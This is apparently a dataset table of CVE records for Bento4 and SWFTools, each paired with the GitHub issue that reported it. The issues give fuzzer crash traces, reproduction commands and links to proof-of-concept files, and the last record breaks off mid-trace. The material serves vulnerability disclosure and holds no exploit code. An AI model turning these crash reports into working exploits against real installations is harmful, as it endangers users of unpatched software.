cve_id
stringlengths 13
16
| cve_published
stringlengths 23
23
| cve_descriptions
stringlengths 48
2.08k
| cve_metrics
dict | cve_references
listlengths 1
138
| cve_configurations
listlengths 1
39
| url
stringlengths 37
77
| cve_tags
listlengths 1
4
⌀ | domain
stringclasses 1
value | issue_owner_repo
listlengths 2
2
| issue_body
stringlengths 0
88.6k
⌀ | issue_title
stringlengths 3
335
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
146
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 104M
2.09B
| issue_number
int64 1
122k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CVE-2022-40775
|
2022-09-18T19:15:09.323
|
An issue was discovered in Bento4 through 1.6.0-639. A NULL pointer dereference occurs in AP4_StszAtom::WriteFields.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/758"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:*:*:*:*:*:*:*:*",
"matchCriteriaId": "180AEBD6-AF89-4F0F-856E-D8B977C762C0",
"versionEndExcluding": null,
"versionEndIncluding": "1.6.0-639",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/758
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi there, I use my fuzzer for fuzzing the binary mp4decrypt, and this binary crashes with the following:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==24087==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000702ee8 bp 0x7ffcf40a75f0 sp 0x7ffcf40a73b0 T0)
==24087==The signal is caused by a READ memory access.
==24087==Hint: address points to the zero page.
#0 0x702ee8 in AP4_StszAtom::WriteFields(AP4_ByteStream&) (/fuzztest/mp4decrypt/mp4decrypt+0x702ee8)
#1 0x82facf in AP4_AtomListWriter::Action(AP4_Atom*) const (/fuzztest/mp4decrypt/mp4decrypt+0x82facf)
#2 0x4fc423 in AP4_ContainerAtom::WriteFields(AP4_ByteStream&) (/fuzztest/mp4decrypt/mp4decrypt+0x4fc423)
#3 0x82facf in AP4_AtomListWriter::Action(AP4_Atom*) const (/fuzztest/mp4decrypt/mp4decrypt+0x82facf)
#4 0x4fc423 in AP4_ContainerAtom::WriteFields(AP4_ByteStream&) (/fuzztest/mp4decrypt/mp4decrypt+0x4fc423)
#5 0x82facf in AP4_AtomListWriter::Action(AP4_Atom*) const (/fuzztest/mp4decrypt/mp4decrypt+0x82facf)
#6 0x4fc423 in AP4_ContainerAtom::WriteFields(AP4_ByteStream&) (/fuzztest/mp4decrypt/mp4decrypt+0x4fc423)
#7 0x82facf in AP4_AtomListWriter::Action(AP4_Atom*) const (/fuzztest/mp4decrypt/mp4decrypt+0x82facf)
#8 0x4fc423 in AP4_ContainerAtom::WriteFields(AP4_ByteStream&) (/fuzztest/mp4decrypt/mp4decrypt+0x4fc423)
#9 0x82facf in AP4_AtomListWriter::Action(AP4_Atom*) const (/fuzztest/mp4decrypt/mp4decrypt+0x82facf)
#10 0x4fc423 in AP4_ContainerAtom::WriteFields(AP4_ByteStream&) (/fuzztest/mp4decrypt/mp4decrypt+0x4fc423)
#11 0x82facf in AP4_AtomListWriter::Action(AP4_Atom*) const (/fuzztest/mp4decrypt/mp4decrypt+0x82facf)
#12 0x62cea7 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzztest/mp4decrypt/mp4decrypt+0x62cea7)
#13 0x412846 in main (/fuzztest/mp4decrypt/mp4decrypt+0x412846)
#14 0x7fcaa49f1c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#15 0x407c99 in _start (/fuzztest/mp4decrypt/mp4decrypt+0x407c99)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/fuzztest/mp4decrypt/mp4decrypt+0x702ee8) in AP4_StszAtom::WriteFields(AP4_ByteStream&)
==24087==ABORTING
```
### System Details
Test Machine: Ubuntu 18.04 (docker)
Project Name: mp4decrypt (Bento4-1.6.0-639)
### Command
./mp4decrypt mp4decrypt.demo /dev/null
### Poc
[mp4decrypt_Poc.zip](https://github.com/axiomatic-systems/Bento4/files/9591036/mp4decrypt_Poc.zip)
### Credit
Wanying Cao(NCNIPC of China), (Zhongguancun Laboratory)
Han Zheng (NCNIPC of China, [Hexhive](http://hexhive.epfl.ch/)), (Zhongguancun Laboratory)
|
SEGV error
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/758/comments
| 0 |
2022-09-17T06:02:37Z
|
2023-06-26T09:41:06Z
|
https://github.com/axiomatic-systems/Bento4/issues/758
| 1,376,678,566 | 758 |
CVE-2022-40008
|
2022-09-20T20:15:10.510
|
SWFTools commit 772e55a was discovered to contain a heap-buffer overflow via the function readU8 at /lib/ttf.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/matthiaskramm/swftools/issues/188"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:swftools:swftools:2021-12-16:*:*:*:*:*:*:*",
"matchCriteriaId": "BB9D1BB0-75D0-4C0B-8297-540D6A24F722",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/matthiaskramm/swftools/issues/188
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"matthiaskramm",
"swftools"
] |
system info
Ubuntu x86_64, clang 10.0, ttftool (latest master https://github.com/matthiaskramm/swftools/commit/772e55a271f66818b06c6e8c9b839befa51248f4)
Command line
./src/ttftool poc
```
=================================================================
==26368==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000086 at pc 0x0000004edfd2 bp 0x7ffe607a9f10 sp 0x7ffe607a9f08
READ of size 1 at 0x603000000086 thread T0
#0 0x4edfd1 in readU8 /project/models/swftools/lib/ttf.c:83:12
#1 0x4edfd1 in os2_parse /project/models/swftools/lib/ttf.c:467:30
#2 0x4edfd1 in ttf_parse_tables /project/models/swftools/lib/ttf.c:1849:13
#3 0x4edfd1 in ttf_load /project/models/swftools/lib/ttf.c:2180:9
#4 0x51054c in ttf_open /project/models/swftools/lib/ttf.c:2435:17
#5 0x4c51da in main /project/models/swftools/src/ttftool.c:91:19
#6 0x7f84d73a1082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#7 0x41c43d in _start (/project/models/swftools/src/ttftool+0x41c43d)
0x603000000086 is located 0 bytes to the right of 22-byte region [0x603000000070,0x603000000086)
allocated by thread T0 here:
#0 0x494b7d in malloc (/project/models/swftools/src/ttftool+0x494b7d)
#1 0x4e083a in ttf_load /project/models/swftools/lib/ttf.c:2160:15
#2 0x51054c in ttf_open /project/models/swftools/lib/ttf.c:2435:17
#3 0x7f84d73a1082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
SUMMARY: AddressSanitizer: heap-buffer-overflow /project/models/swftools/lib/ttf.c:83:12 in readU8
Shadow bytes around the buggy address:
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa 00 00 00 04 fa fa 00 00 00 06 fa fa 00 00
=>0x0c067fff8010:[06]fa fa fa 00 00 06 fa fa fa fd fd fd fd fa fa
0x0c067fff8020: 00 00 02 fa fa fa 00 00 00 02 fa fa fa fa fa fa
0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==26368==ABORTING
```
[poc](https://gitee.com/XinglinYu98/poc/blob/master/ttftool/id:000001,sig:06,src:000000,op:flip1,pos:59)
|
heap-buffer-overflow exists in the function readU8 in lib/ttf.c
|
https://api.github.com/repos/swftools/swftools/issues/188/comments
| 0 |
2022-07-28T08:51:57Z
|
2022-07-28T08:59:46Z
|
https://github.com/swftools/swftools/issues/188
| 1,320,609,012 | 188 |
CVE-2022-40009
|
2022-09-20T20:15:10.550
|
SWFTools commit 772e55a was discovered to contain a heap-use-after-free via the function grow_unicode at /lib/ttf.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/matthiaskramm/swftools/issues/190"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:swftools:swftools:2021-12-16:*:*:*:*:*:*:*",
"matchCriteriaId": "BB9D1BB0-75D0-4C0B-8297-540D6A24F722",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/matthiaskramm/swftools/issues/190
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"matthiaskramm",
"swftools"
] |
system info
Ubuntu x86_64, clang 10.0, ttftool (latest master https://github.com/matthiaskramm/swftools/commit/772e55a271f66818b06c6e8c9b839befa51248f4)
Command line
./src/ttftool poc
```
=================================================================
==26408==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300000017c at pc 0x0000004942df bp 0x7ffdd79c0b40 sp 0x7ffdd79c0308
WRITE of size 48 at 0x60300000017c thread T0
#0 0x4942de in __asan_memset (/project/models/swftools/src/ttftool+0x4942de)
#1 0x4cd29a in memset /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71:10
#2 0x4cd29a in grow_unicode /project/models/swftools/lib/ttf.c:1235:2
#3 0x4cd29a in cmap_parse /project/models/swftools/lib/ttf.c:1283:6
#4 0x4eb056 in ttf_parse_tables /project/models/swftools/lib/ttf.c:1901:2
#5 0x4eb056 in ttf_load /project/models/swftools/lib/ttf.c:2180:9
#6 0x51054c in ttf_open /project/models/swftools/lib/ttf.c:2435:17
#7 0x4c51da in main /project/models/swftools/src/ttftool.c:91:19
#8 0x7fe8b7a25082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#9 0x41c43d in _start (/project/models/swftools/src/ttftool+0x41c43d)
0x60300000017c is located 0 bytes to the right of 28-byte region [0x603000000160,0x60300000017c)
freed by thread T0 here:
#0 0x494e99 in realloc (/project/models/swftools/src/ttftool+0x494e99)
#1 0x517e2d in rfx_realloc /project/models/swftools/lib/mem.c:50:11
previously allocated by thread T0 here:
#0 0x494cf2 in calloc (/project/models/swftools/src/ttftool+0x494cf2)
#1 0x518011 in rfx_calloc /project/models/swftools/lib/mem.c:69:9
SUMMARY: AddressSanitizer: heap-use-after-free (/project/models/swftools/src/ttftool+0x4942de) in __asan_memset
Shadow bytes around the buggy address:
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa 00 00 00 04 fa fa 00 00 00 06 fa fa fd fd
0x0c067fff8010: fd fa fa fa fd fd fd fd fa fa 00 00 02 fa fa fa
=>0x0c067fff8020: 00 00 00 02 fa fa fd fd fd fd fa fa fd fd fd[fd]
0x0c067fff8030: fa fa 00 00 00 04 fa fa fa fa fa fa fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==26408==ABORTING
```
[poc](https://gitee.com/XinglinYu98/poc/blob/master/ttftool/id:000002,sig:06,src:000000,op:flip1,pos:71)
|
heap-use-after-free exists in the function grow_unicode in /lib/ttf.c
|
https://api.github.com/repos/swftools/swftools/issues/190/comments
| 0 |
2022-07-28T08:56:02Z
|
2022-07-28T08:59:20Z
|
https://github.com/swftools/swftools/issues/190
| 1,320,614,087 | 190 |
CVE-2022-35085
|
2022-09-21T00:15:10.207
|
SWFTools commit 772e55a2 was discovered to contain a memory leak via /lib/mem.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/Cvjark/Poc/blob/main/swftools/gif2swf/CVE-2022-35085.md"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/matthiaskramm/swftools/issues/181"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:swftools:swftools:-:*:*:*:*:*:*:*",
"matchCriteriaId": "05E27E60-6223-457B-BF90-E747C9C5DEE1",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/matthiaskramm/swftools/issues/181
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"matthiaskramm",
"swftools"
] |
Hi, I currently learn to use fuzz tech to detect bugs and I found something in this repo.
in order to reproduce the crash info, please attach ASAN when you compile this repo.
# gif2swf
## heap-buffer-overflow
### reproduce
please use command : `./gif2swf -o /dev/null [sample file]` to reproduce the crash
### crash_sample
[id1_HEAP_BUFFER_OVERFLOW.zip](https://github.com/matthiaskramm/swftools/files/9034327/id1_HEAP_BUFFER_OVERFLOW.zip)
### crash info
```
==32466==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000000964 at pc 0x0000004ae3e4 bp 0x7ffce30cd590 sp 0x7ffce30ccd40
WRITE of size 8 at 0x619000000964 thread T0
#0 0x4ae3e3 in __asan_memcpy /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22
#1 0x4f8002 in MovieAddFrame /home/bupt/Desktop/swftools/src/gif2swf.c:328:25
#2 0x4fb951 in main /home/bupt/Desktop/swftools/src/gif2swf.c:728:17
#3 0x7f9f1d7dec86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x41cfb9 in _start (/home/bupt/Desktop/swftools/build/bin/gif2swf+0x41cfb9)
0x619000000964 is located 4 bytes to the right of 992-byte region [0x619000000580,0x619000000960)
allocated by thread T0 here:
#0 0x4af580 in malloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x4f698e in MovieAddFrame /home/bupt/Desktop/swftools/src/gif2swf.c:310:29
#2 0x4fb951 in main /home/bupt/Desktop/swftools/src/gif2swf.c:728:17
#3 0x7f9f1d7dec86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22 in __asan_memcpy
Shadow bytes around the buggy address:
0x0c327fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c327fff8120: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
0x0c327fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==32466==ABORTING
```
### reproduce
please use command : `./gif2swf -o /dev/null [sample file]` to reproduce the crash
### crash_sample
[id39_HEAP_BUFFER_OVERFLOW.zip](https://github.com/matthiaskramm/swftools/files/9034335/id39_HEAP_BUFFER_OVERFLOW.zip)
### crash info
```
==117565==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000271 at pc 0x0000004f9626 bp 0x7ffd465ed6d0 sp 0x7ffd465ed6c8
READ of size 1 at 0x602000000271 thread T0
#0 0x4f9625 in getGifDelayTime /home/bupt/Desktop/swftools/src/gif2swf.c:127:20
#1 0x4f9625 in MovieAddFrame /home/bupt/Desktop/swftools/src/gif2swf.c:451:17
#2 0x4fb9d9 in main /home/bupt/Desktop/swftools/src/gif2swf.c:730:21
#3 0x7ff0fa7dbc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x41cfb9 in _start (/home/bupt/Desktop/swftools/build/bin/gif2swf+0x41cfb9)
0x602000000271 is located 0 bytes to the right of 1-byte region [0x602000000270,0x602000000271)
allocated by thread T0 here:
#0 0x4af580 in malloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7ff0fc10f19a in GifAddExtensionBlock (/usr/lib/x86_64-linux-gnu/libgif.so.7+0x519a)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/bupt/Desktop/swftools/src/gif2swf.c:127:20 in getGifDelayTime
Shadow bytes around the buggy address:
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa
0x0c047fff8010: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
0x0c047fff8020: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8030: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 00 04
=>0x0c047fff8040: fa fa 00 03 fa fa 03 fa fa fa 04 fa fa fa[01]fa
0x0c047fff8050: fa fa 06 fa fa fa 04 fa fa fa 01 fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==117565==ABORTING
```
### reproduce
please use command : `./gif2swf -o /dev/null [sample file]` to reproduce the crash
### crash_sample
[id47_HEAP_BUFFER_OVERFLOW.zip](https://github.com/matthiaskramm/swftools/files/9034336/id47_HEAP_BUFFER_OVERFLOW.zip)
### crash info
```
==117675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000065f3 at pc 0x0000004f95d9 bp 0x7ffe740a8c50 sp 0x7ffe740a8c48
READ of size 1 at 0x6020000065f3 thread T0
#0 0x4f95d8 in getTransparentColor /home/bupt/Desktop/swftools/src/gif2swf.c:141:20
#1 0x4f95d8 in MovieAddFrame /home/bupt/Desktop/swftools/src/gif2swf.c:269:20
#2 0x4fb9d9 in main /home/bupt/Desktop/swftools/src/gif2swf.c:730:21
#3 0x7f7d9a8e5c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x41cfb9 in _start (/home/bupt/Desktop/swftools/build/bin/gif2swf+0x41cfb9)
0x6020000065f3 is located 0 bytes to the right of 3-byte region [0x6020000065f0,0x6020000065f3)
allocated by thread T0 here:
#0 0x4af580 in malloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f7d9c21919a in GifAddExtensionBlock (/usr/lib/x86_64-linux-gnu/libgif.so.7+0x519a)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/bupt/Desktop/swftools/src/gif2swf.c:141:20 in getTransparentColor
Shadow bytes around the buggy address:
0x0c047fff8c60: fa fa 06 fa fa fa 04 fa fa fa fd fd fa fa 00 04
0x0c047fff8c70: fa fa 00 00 fa fa 06 fa fa fa 04 fa fa fa 00 00
0x0c047fff8c80: fa fa 06 fa fa fa 04 fa fa fa 04 fa fa fa 00 00
0x0c047fff8c90: fa fa 06 fa fa fa 04 fa fa fa 04 fa fa fa 00 03
0x0c047fff8ca0: fa fa 03 fa fa fa 04 fa fa fa 00 00 fa fa 01 fa
=>0x0c047fff8cb0: fa fa 06 fa fa fa 04 fa fa fa 03 fa fa fa[03]fa
0x0c047fff8cc0: fa fa 01 fa fa fa 06 fa fa fa 04 fa fa fa 04 fa
0x0c047fff8cd0: fa fa 00 00 fa fa 06 fa fa fa 04 fa fa fa fa fa
0x0c047fff8ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==117675==ABORTING
```
-------------------------------------
## SEGV
### reproduce
please use command : `./gif2swf -o /dev/null [sample file]` to reproduce the crash
### crash_sample
[id0_SEGV.zip](https://github.com/matthiaskramm/swftools/files/9034337/id0_SEGV.zip)
### crash info
```
AddressSanitizer:DEADLYSIGNAL
==32434==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004f63a0 bp 0x7ffe31857cb0 sp 0x7ffe31857ae0 T0)
==32434==The signal is caused by a READ memory access.
==32434==Hint: address points to the zero page.
#0 0x4f63a0 in MovieAddFrame /home/bupt/Desktop/swftools/src/gif2swf.c:268:27
#1 0x4fb951 in main /home/bupt/Desktop/swftools/src/gif2swf.c:728:17
#2 0x7fd91af28c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#3 0x41cfb9 in _start (/home/bupt/Desktop/swftools/build/bin/gif2swf+0x41cfb9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/bupt/Desktop/swftools/src/gif2swf.c:268:27 in MovieAddFrame
==32434==ABORTING
```
### reproduce
please use command : `./gif2swf -o /dev/null [sample file]` to reproduce the crash
### crash_sample
[id31_SEGV.zip](https://github.com/matthiaskramm/swftools/files/9034338/id31_SEGV.zip)
### crash info
```
AddressSanitizer:DEADLYSIGNAL
==117415==ERROR: AddressSanitizer: SEGV on unknown address 0x61e000016efe (pc 0x7fb8e4a4e246 bp 0x7ffc023949b0 sp 0x7ffc02394148 T0)
==117415==The signal is caused by a WRITE memory access.
#0 0x7fb8e4a4e246 /build/glibc-CVJwZb/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:309
#1 0x4ae15b in __asan_memcpy /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22
#2 0x4f8251 in MovieAddFrame /home/bupt/Desktop/swftools/src/gif2swf.c:353:25
#3 0x4fb9d9 in main /home/bupt/Desktop/swftools/src/gif2swf.c:730:21
#4 0x7fb8e49b4c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41cfb9 in _start (/home/bupt/Desktop/swftools/build/bin/gif2swf+0x41cfb9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /build/glibc-CVJwZb/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:309
==117415==ABORTING
```
-------------------------------------
## memory leak
### reproduce
please use command : `./gif2swf -o /dev/null [sample file]` to reproduce the crash
### crash_sample
[id15_memory_leak.zip](https://github.com/matthiaskramm/swftools/files/9034341/id15_memory_leak.zip)
### crash info
```
==32723==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 56 byte(s) in 1 object(s) allocated from:
